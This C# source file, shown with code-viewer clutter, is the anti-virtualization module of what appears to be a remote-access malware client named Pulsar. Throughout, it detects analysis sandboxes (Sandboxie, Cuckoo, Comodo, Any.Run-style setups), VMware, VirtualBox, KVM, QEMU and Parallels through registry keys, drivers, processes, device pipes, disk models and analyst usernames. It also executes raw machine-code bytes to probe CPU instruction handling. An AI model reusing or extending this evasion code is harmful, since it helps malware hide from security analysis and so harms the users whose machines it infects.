563 lines
23 KiB
C#
563 lines
23 KiB
C#
using System;
|
|
using System.IO;
|
|
using System.Threading;
|
|
using System.Management;
|
|
using System.Diagnostics;
|
|
using System.Linq;
|
|
using System.Runtime.InteropServices;
|
|
using Microsoft.Win32;
|
|
using Pulsar.Client.Anti.Helper;
|
|
using static Pulsar.Client.Anti.Helper.Delegates;
|
|
|
|
namespace Pulsar.Client.Anti.VM
|
|
{
|
|
public class AntiVirtualization
|
|
{
|
|
|
|
#region WinApi
|
|
|
|
[DllImport("ntdll.dll", SetLastError = true, CharSet = CharSet.Unicode)]
|
|
private static extern void RtlInitUnicodeString(out Structs.UNICODE_STRING DestinationString, string SourceString);
|
|
|
|
[DllImport("ntdll.dll", SetLastError = true, CharSet = CharSet.Ansi)]
|
|
private static extern void RtlUnicodeStringToAnsiString(out Structs.ANSI_STRING DestinationString, Structs.UNICODE_STRING UnicodeString, bool AllocateDestinationString);
|
|
|
|
[DllImport("ntdll.dll", SetLastError = true)]
|
|
private static extern uint LdrGetDllHandleEx(ulong Flags, [MarshalAs(UnmanagedType.LPWStr)] string DllPath, [MarshalAs(UnmanagedType.LPWStr)] string DllCharacteristics, Structs.UNICODE_STRING LibraryName, ref IntPtr DllHandle);
|
|
|
|
[DllImport("kernelbase.dll", SetLastError = true)]
|
|
private static extern IntPtr GetModuleHandleA(string Library);
|
|
|
|
[DllImport("ntdll.dll", SetLastError = true, CharSet = CharSet.Ansi)]
|
|
private static extern uint LdrGetProcedureAddressForCaller(IntPtr Module, Structs.ANSI_STRING ProcedureName, ushort ProcedureNumber, out IntPtr FunctionHandle, ulong Flags, IntPtr CallBack);
|
|
|
|
[DllImport("kernelbase.dll", SetLastError = true)]
|
|
private static extern bool WriteProcessMemory(SafeHandle hProcess, IntPtr BaseAddress, byte[] Buffer, uint size, int NumOfBytes);
|
|
|
|
[DllImport("kernelbase.dll", SetLastError = true)]
|
|
private static extern bool IsProcessCritical(SafeHandle hProcess, ref bool BoolToCheck);
|
|
|
|
[DllImport("ucrtbase.dll", SetLastError = true)]
|
|
private static extern IntPtr fopen(string filename, string mode);
|
|
|
|
[DllImport("ucrtbase.dll", SetLastError = true)]
|
|
private static extern int fclose(IntPtr filestream);
|
|
|
|
#endregion
|
|
|
|
/// <summary>
|
|
/// Checks if Sandboxie is present on the system.
|
|
/// </summary>
|
|
/// <returns>True if Sandboxie is detected, otherwise false.</returns>
|
|
public static bool IsSandboxiePresent()
|
|
{
|
|
if (Utils.LowLevelGetModuleHandle("SbieDll.dll").ToInt32() != 0)
|
|
return true;
|
|
return false;
|
|
}
|
|
|
|
/// <summary>
|
|
/// Checks if Comodo Sandbox is present on the system.
|
|
/// </summary>
|
|
/// <returns>True if Comodo Sandbox is detected, otherwise false.</returns>
|
|
public static bool IsComodoSandboxPresent()
|
|
{
|
|
if (Utils.LowLevelGetModuleHandle("cmdvrt32.dll").ToInt32() != 0 || Utils.LowLevelGetModuleHandle("cmdvrt64.dll").ToInt32() != 0)
|
|
return true;
|
|
return false;
|
|
}
|
|
|
|
/// <summary>
|
|
/// Checks if Qihoo 360 Sandbox is present on the system.
|
|
/// </summary>
|
|
/// <returns>True if Qihoo 360 Sandbox is detected, otherwise false.</returns>
|
|
public static bool IsQihoo360SandboxPresent()
|
|
{
|
|
if (Utils.LowLevelGetModuleHandle("SxIn.dll").ToInt32() != 0)
|
|
return true;
|
|
return false;
|
|
}
|
|
|
|
/// <summary>
|
|
/// Checks if Cuckoo Sandbox is present on the system.
|
|
/// </summary>
|
|
/// <returns>True if Cuckoo Sandbox is detected, otherwise false.</returns>
|
|
public static bool IsCuckooSandboxPresent()
|
|
{
|
|
if (Utils.LowLevelGetModuleHandle("cuckoomon.dll").ToInt32() != 0)
|
|
return true;
|
|
return false;
|
|
}
|
|
|
|
/// <summary>
|
|
/// Checks if the environment is running in VMware or VirtualBox.
|
|
/// </summary>
|
|
/// <returns>True if VMware or VirtualBox is detected, otherwise false.</returns>
|
|
public static bool CheckForVMwareAndVirtualBox()
|
|
{
|
|
try
|
|
{
|
|
// Check registry for VM indicators (more reliable than WMI)
|
|
using (var key = Microsoft.Win32.Registry.LocalMachine.OpenSubKey(@"HARDWARE\DESCRIPTION\System\BIOS"))
|
|
{
|
|
if (key != null)
|
|
{
|
|
var biosVersion = key.GetValue("BIOSVersion")?.ToString();
|
|
var systemManufacturer = key.GetValue("SystemManufacturer")?.ToString();
|
|
var systemProductName = key.GetValue("SystemProductName")?.ToString();
|
|
|
|
if (biosVersion != null && (biosVersion.Contains("VMware") || biosVersion.Contains("VirtualBox") || biosVersion.Contains("VBOX")))
|
|
return true;
|
|
if (systemManufacturer != null && (systemManufacturer.Contains("VMware") || systemManufacturer.Contains("innotek")))
|
|
return true;
|
|
if (systemProductName != null && (systemProductName.Contains("VMware") || systemProductName.Contains("VirtualBox")))
|
|
return true;
|
|
}
|
|
}
|
|
|
|
// Check for VMware tools registry
|
|
using (var vmwareKey = Microsoft.Win32.Registry.LocalMachine.OpenSubKey(@"SOFTWARE\VMware, Inc.\VMware Tools"))
|
|
{
|
|
if (vmwareKey != null)
|
|
return true;
|
|
}
|
|
|
|
// Check for VirtualBox registry
|
|
using (var vboxKey = Microsoft.Win32.Registry.LocalMachine.OpenSubKey(@"SOFTWARE\Oracle\VirtualBox Guest Additions"))
|
|
{
|
|
if (vboxKey != null)
|
|
return true;
|
|
}
|
|
}
|
|
catch
|
|
{
|
|
// Registry access failed, assume not VM
|
|
}
|
|
|
|
// Fallback to WMI if registry checks fail
|
|
try
|
|
{
|
|
using (ManagementObjectSearcher ObjectSearcher = new ManagementObjectSearcher("Select * from Win32_ComputerSystem"))
|
|
{
|
|
using (ManagementObjectCollection ObjectItems = ObjectSearcher.Get())
|
|
{
|
|
foreach (ManagementBaseObject Item in ObjectItems)
|
|
{
|
|
string ManufacturerString = Item["Manufacturer"].ToString().ToLower();
|
|
string ModelName = Item["Model"].ToString();
|
|
if ((ManufacturerString == "microsoft corporation" && Utils.Contains(ModelName.ToUpperInvariant(), "VIRTUAL") || Utils.Contains(ManufacturerString, "vmware")))
|
|
{
|
|
return true;
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
catch
|
|
{
|
|
// WMI not available, assume not VM
|
|
}
|
|
return false;
|
|
}
|
|
|
|
/// <summary>
|
|
/// Checks if the environment is running in KVM.
|
|
/// </summary>
|
|
/// <returns>True if KVM is detected, otherwise false.</returns>
|
|
public static bool CheckForKVM()
|
|
{
|
|
string[] BadDriversList = { "balloon.sys", "netkvm.sys", "vioinput", "viofs.sys", "vioser.sys" };
|
|
string driversPath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.System), "drivers");
|
|
foreach (string driver in Directory.GetFiles(driversPath, "*"))
|
|
{
|
|
foreach (string badDriver in BadDriversList)
|
|
{
|
|
if (Path.GetFileName(driver).IndexOf(badDriver, StringComparison.OrdinalIgnoreCase) >= 0)
|
|
{
|
|
return true;
|
|
}
|
|
}
|
|
}
|
|
return false;
|
|
}
|
|
|
|
|
|
/// <summary>
|
|
/// Checks if the current user name matches any blacklisted names.
|
|
/// </summary>
|
|
/// <returns>True if a blacklisted name is detected, otherwise false.</returns>
|
|
public static bool CheckForBlacklistedNames()
|
|
{
|
|
string[] BadNames = { "Johnson", "Miller", "malware", "maltest", "CurrentUser", "Sandbox", "virus", "John Doe", "test user", "sand box", "WDAGUtilityAccount" };
|
|
string Username = Environment.UserName.ToLower();
|
|
foreach (string BadUsernames in BadNames)
|
|
{
|
|
if (Username == BadUsernames.ToLower())
|
|
{
|
|
return true;
|
|
}
|
|
}
|
|
return false;
|
|
}
|
|
|
|
/// <summary>
|
|
/// Detects bad VM-related files and directories on the system.
|
|
/// </summary>
|
|
/// <returns>True if bad VM-related files or directories are detected, otherwise false.</returns>
|
|
public static bool BadVMFilesDetection()
|
|
{
|
|
try
|
|
{
|
|
string[] badFiles = { "balloon.sys", "VBoxMouse.sys", "netkvm.sys", "VBoxGuest.sys", "VBoxSF.sys", "VBoxVideo.sys", "vmmouse.sys"};
|
|
string[] badDirs = { @"C:\Program Files\VMware", @"C:\Program Files\Oracle\VirtualBox Guest Additions" };
|
|
string driversPath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.System), "drivers");
|
|
|
|
foreach (string file in Directory.GetFiles(driversPath))
|
|
{
|
|
if (badFiles.Any(badFile => Path.GetFileName(file).Equals(badFile, StringComparison.OrdinalIgnoreCase)))
|
|
return true;
|
|
}
|
|
|
|
return badDirs.Any(dir => Directory.Exists(dir));
|
|
}
|
|
catch
|
|
{
|
|
return false;
|
|
}
|
|
}
|
|
|
|
|
|
/// <summary>
|
|
/// Checks for the presence of bad VM-related process names.
|
|
/// </summary>
|
|
/// <returns>True if bad VM-related process names are detected, otherwise false.</returns>
|
|
public static bool BadVMProcessNames()
|
|
{
|
|
try
|
|
{
|
|
string[] BadProcessNames = { "vboxservice", "VGAuthService", "vmusrvc", "qemu-ga" };
|
|
foreach (Process Processes in Process.GetProcesses())
|
|
{
|
|
foreach (string BadProcessName in BadProcessNames)
|
|
{
|
|
if (Processes.ProcessName == BadProcessName)
|
|
{
|
|
return true;
|
|
}
|
|
}
|
|
}
|
|
}
|
|
catch { }
|
|
return false;
|
|
}
|
|
|
|
/// <summary>
|
|
/// Checks for VM-related device names.
|
|
/// </summary>
|
|
/// <returns>True if VM-related device names are detected, otherwise false.</returns>
|
|
public static bool CheckDevices()
|
|
{
|
|
string[] Devices = { "\\\\.\\pipe\\cuckoo", "\\\\.\\HGFS", "\\\\.\\vmci", "\\\\.\\VBoxMiniRdrDN", "\\\\.\\VBoxGuest", "\\\\.\\pipe\\VBoxMiniRdDN", "\\\\.\\VBoxTrayIPC", "\\\\.\\pipe\\VBoxTrayIPC" };
|
|
foreach (string Device in Devices)
|
|
{
|
|
try
|
|
{
|
|
IntPtr File = fopen(Device, "r");
|
|
if (File != IntPtr.Zero)
|
|
{
|
|
fclose(File);
|
|
return true;
|
|
}
|
|
}
|
|
catch
|
|
{
|
|
continue;
|
|
}
|
|
}
|
|
return false;
|
|
}
|
|
|
|
/// <summary>
|
|
/// Checks if the environment is running in Parallels.
|
|
/// </summary>
|
|
/// <returns>True if Parallels is detected, otherwise false.</returns>
|
|
public static bool CheckForParallels()
|
|
{
|
|
string[] BadDriversList = { "prl_sf", "prl_tg", "prl_eth" };
|
|
foreach (string Drivers in Directory.GetFiles(Environment.GetFolderPath(Environment.SpecialFolder.System), "*"))
|
|
{
|
|
foreach (string BadDrivers in BadDriversList)
|
|
{
|
|
if (Utils.Contains(Drivers, BadDrivers))
|
|
{
|
|
return true;
|
|
}
|
|
}
|
|
}
|
|
|
|
return false;
|
|
}
|
|
|
|
/// <summary>
|
|
/// Checks for specific disk drive models that indicate a virtual environment.
|
|
/// </summary>
|
|
/// <returns>True if specific disk drive models are detected, otherwise false.</returns>
|
|
public static bool TriageCheck()
|
|
{
|
|
try
|
|
{
|
|
// Check registry for disk information (more reliable than WMI)
|
|
using (var key = Microsoft.Win32.Registry.LocalMachine.OpenSubKey(@"HARDWARE\DEVICEMAP\Scsi"))
|
|
{
|
|
if (key != null)
|
|
{
|
|
foreach (var subKeyName in key.GetSubKeyNames())
|
|
{
|
|
using (var subKey = key.OpenSubKey(subKeyName))
|
|
{
|
|
if (subKey != null)
|
|
{
|
|
foreach (var portKeyName in subKey.GetSubKeyNames())
|
|
{
|
|
using (var portKey = subKey.OpenSubKey(portKeyName))
|
|
{
|
|
if (portKey != null)
|
|
{
|
|
var identifier = portKey.GetValue("Identifier")?.ToString();
|
|
if (!string.IsNullOrEmpty(identifier) &&
|
|
(identifier.Contains("DADY HARDDISK") || identifier.Contains("QEMU HARDDISK")))
|
|
{
|
|
return true;
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
catch
|
|
{
|
|
// Registry access failed, assume not VM
|
|
}
|
|
|
|
// Fallback to WMI if registry checks fail
|
|
try
|
|
{
|
|
using (var searcher = new ManagementObjectSearcher("SELECT * FROM Win32_DiskDrive"))
|
|
{
|
|
foreach (var item in searcher.Get())
|
|
{
|
|
string model = item["Model"].ToString();
|
|
if (Utils.Contains(model, "DADY HARDDISK") || Utils.Contains(model, "QEMU HARDDISK"))
|
|
{
|
|
return true;
|
|
}
|
|
}
|
|
}
|
|
}
|
|
catch
|
|
{
|
|
// WMI not available, assume not VM
|
|
}
|
|
return false;
|
|
}
|
|
|
|
/// <summary>
|
|
/// Checks for specific Machine GUIDs that indicate a virtual environment in Any.Run.
|
|
/// </summary>
|
|
/// <returns>True if specific Machine GUIDs are detected, otherwise false.</returns>
|
|
public static bool AnyRunCheck()
|
|
{
|
|
return false;
|
|
}
|
|
|
|
/// <summary>
|
|
/// Checks if the environment is running in QEMU.
|
|
/// </summary>
|
|
/// <returns>True if QEMU is detected, otherwise false.</returns>
|
|
public static bool CheckForQemu()
|
|
{
|
|
string[] BadDriversList = { "qemu-ga", "qemuwmi" };
|
|
foreach (string Drivers in Directory.GetFiles(Environment.GetFolderPath(Environment.SpecialFolder.System), "*"))
|
|
{
|
|
foreach (string BadDrivers in BadDriversList)
|
|
{
|
|
if (Utils.Contains(Drivers, BadDrivers))
|
|
{
|
|
return true;
|
|
}
|
|
}
|
|
}
|
|
|
|
return false;
|
|
}
|
|
|
|
public sealed class Generic
|
|
{
|
|
/// <summary>
|
|
/// Checks for VM-related ports on the system.
|
|
/// </summary>
|
|
/// <returns>True if no port connectors are found, indicating a possible VM environment, otherwise false.</returns>
|
|
public static bool PortConnectionAntiVM()
|
|
{
|
|
try
|
|
{
|
|
if (new ManagementObjectSearcher("SELECT * FROM Win32_PortConnector").Get().Count == 0)
|
|
return true;
|
|
}
|
|
catch
|
|
{
|
|
// WMI not available, assume ports exist
|
|
}
|
|
return false;
|
|
}
|
|
|
|
/// <summary>
|
|
/// Checks if the environment is running in an emulation by measuring the sleep interval.
|
|
/// </summary>
|
|
/// <returns>True if emulation is detected, otherwise false.</returns>
|
|
public static bool EmulationTimingCheck()
|
|
{
|
|
long Tick = Environment.TickCount;
|
|
Thread.Sleep(500);
|
|
long Tick2 = Environment.TickCount;
|
|
if (((Tick2 - Tick) < 500L))
|
|
{
|
|
return true;
|
|
}
|
|
return false;
|
|
}
|
|
|
|
/// <summary>
|
|
/// Checks if the AVX instructions is properly implemented and handled.
|
|
/// </summary>
|
|
/// <returns>true if the instructions is not handled correctly, otherwise false.</returns>
|
|
public static bool AVXInstructions()
|
|
{
|
|
try
|
|
{
|
|
bool ResultBool = false;
|
|
byte[] Code = new byte[80];
|
|
if (IntPtr.Size == 8)
|
|
Code = new byte[] { 0x66, 0x0f, 0x5b, 0xe4, 0x75, 0x31, 0x74, 0x00, 0x66, 0x0f, 0x5b, 0xed, 0x75, 0x29, 0x74, 0x00, 0x0f, 0x28, 0xf0, 0x66, 0x0f, 0x70, 0xf1, 0xd8, 0x0f, 0x28, 0xfe, 0x66, 0x0f, 0x5b, 0xff, 0x75, 0x16, 0x74, 0x00, 0x0f, 0x57, 0xc0, 0x44, 0x0f, 0x28, 0xc0, 0x66, 0x45, 0x0f, 0x5b, 0xc0, 0x75, 0x06, 0x74, 0x00, 0x48, 0x31, 0xc0, 0xc3, 0x48, 0xc7, 0xc0, 0x01, 0x00, 0x00, 0x00, 0xc3 };
|
|
else
|
|
Code = new byte[] { 0x66, 0x0f, 0x5b, 0xe4, 0x66, 0x0f, 0x7e, 0xe0, 0x74, 0x00, 0x66, 0x0f, 0x5b, 0xed, 0x66, 0x0f, 0x7e, 0xeb, 0x74, 0x00, 0x0f, 0x28, 0xf0, 0x66, 0x0f, 0x70, 0xf1, 0xd8, 0x0f, 0x28, 0xfe, 0x66, 0x0f, 0x5b, 0xff, 0x66, 0x0f, 0x7e, 0xf9, 0x74, 0x00, 0x0f, 0x57, 0xc0, 0x75, 0x05, 0x74, 0x00, 0x31, 0xc0, 0xc3, 0xb8, 0x01, 0x00, 0x00, 0x00, 0xc3 };
|
|
IntPtr Allocated = Utils.AllocateCode(Code);
|
|
if (Allocated != IntPtr.Zero)
|
|
{
|
|
try
|
|
{
|
|
GenericInt Execute = (GenericInt)Marshal.GetDelegateForFunctionPointer(Allocated, typeof(GenericInt));
|
|
int Result = Execute();
|
|
if (Result == 1)
|
|
{
|
|
Utils.FreeCode(Allocated);
|
|
ResultBool = true;
|
|
}
|
|
}
|
|
catch
|
|
{
|
|
Utils.FreeCode(Allocated);
|
|
return false;
|
|
}
|
|
Utils.FreeCode(Allocated);
|
|
return ResultBool;
|
|
}
|
|
return false;
|
|
}
|
|
catch
|
|
{
|
|
return false;
|
|
}
|
|
}
|
|
|
|
/// <summary>
|
|
/// Checks if the RDRAND instruction is properly implemented.
|
|
/// </summary>
|
|
/// <returns>true if the instruction is implemented correctly, otherwise false.</returns>
|
|
public static bool RDRANDInstruction()
|
|
{
|
|
try
|
|
{
|
|
bool ResultBool = false;
|
|
byte[] Code = new byte[80];
|
|
if (IntPtr.Size == 8)
|
|
Code = new byte[] { 0x48, 0x0F, 0xC7, 0xF0, 0x48, 0x89, 0xC3, 0x48, 0x83, 0xFB, 0x00, 0x74, 0x0F, 0x48, 0x0F, 0xC7, 0xF0, 0x48, 0x89, 0xC2, 0x48, 0x39, 0xDA, 0x74, 0x03, 0xB0, 0x00, 0xC3, 0xB0, 0x01, 0xC3 };
|
|
else
|
|
Code = new byte[] { 0x0F, 0xC7, 0xF0, 0x89, 0xC3, 0x83, 0xFB, 0x00, 0x74, 0x0C, 0x0F, 0xC7, 0xF0, 0x89, 0xC2, 0x39, 0xDA, 0x74, 0x03, 0xB0, 0x00, 0xC3, 0xB0, 0x01, 0xC3 };
|
|
IntPtr Allocated = Utils.AllocateCode(Code);
|
|
if (Allocated != IntPtr.Zero)
|
|
{
|
|
try
|
|
{
|
|
GenericInt Execute = (GenericInt)Marshal.GetDelegateForFunctionPointer(Allocated, typeof(GenericInt));
|
|
int Result = Execute();
|
|
if (Result == 1)
|
|
{
|
|
ResultBool = true;
|
|
}
|
|
}
|
|
catch
|
|
{
|
|
Utils.FreeCode(Allocated);
|
|
return false;
|
|
}
|
|
Utils.FreeCode(Allocated);
|
|
return ResultBool;
|
|
}
|
|
return false;
|
|
}
|
|
catch
|
|
{
|
|
return false;
|
|
}
|
|
}
|
|
|
|
/// <summary>
|
|
/// Checks if the instructions that control the register flags is properly handling the register.
|
|
/// </summary>
|
|
/// <returns>true if everything is going correctly, otherwise false.</returns>
|
|
public static bool FlagsManipulationInstructions()
|
|
{
|
|
try
|
|
{
|
|
bool ResultBool = false;
|
|
byte[] Code = new byte[80];
|
|
if (IntPtr.Size == 8)
|
|
Code = new byte[] { 0x9C, 0x58, 0x48, 0x0D, 0x00, 0x02, 0x00, 0x00, 0x50, 0x9D, 0x9C, 0x58, 0x48, 0xA9, 0x00, 0x02, 0x00, 0x00, 0x74, 0x08, 0x48, 0xC7, 0xC0, 0x00, 0x00, 0x00, 0x00, 0xC3, 0x48, 0xC7, 0xC0, 0x01, 0x00, 0x00, 0x00, 0xC3 };
|
|
else
|
|
Code = new byte[] { 0x9C, 0x58, 0x0D, 0x00, 0x02, 0x00, 0x00, 0x50, 0x9D, 0x9C, 0x58, 0xA9, 0x00, 0x02, 0x00, 0x00, 0x74, 0x06, 0xB8, 0x00, 0x00, 0x00, 0x00, 0xC3, 0xB8, 0x01, 0x00, 0x00, 0x00, 0xC3 };
|
|
IntPtr Allocated = Utils.AllocateCode(Code);
|
|
if (Allocated != IntPtr.Zero)
|
|
{
|
|
try
|
|
{
|
|
GenericInt Execute = (GenericInt)Marshal.GetDelegateForFunctionPointer(Allocated, typeof(GenericInt));
|
|
int Result = Execute();
|
|
if (Result == 1)
|
|
{
|
|
ResultBool = true;
|
|
}
|
|
}
|
|
catch
|
|
{
|
|
Utils.FreeCode(Allocated);
|
|
return false;
|
|
}
|
|
Utils.FreeCode(Allocated);
|
|
return ResultBool;
|
|
}
|
|
return false;
|
|
}
|
|
catch
|
|
{
|
|
return false;
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|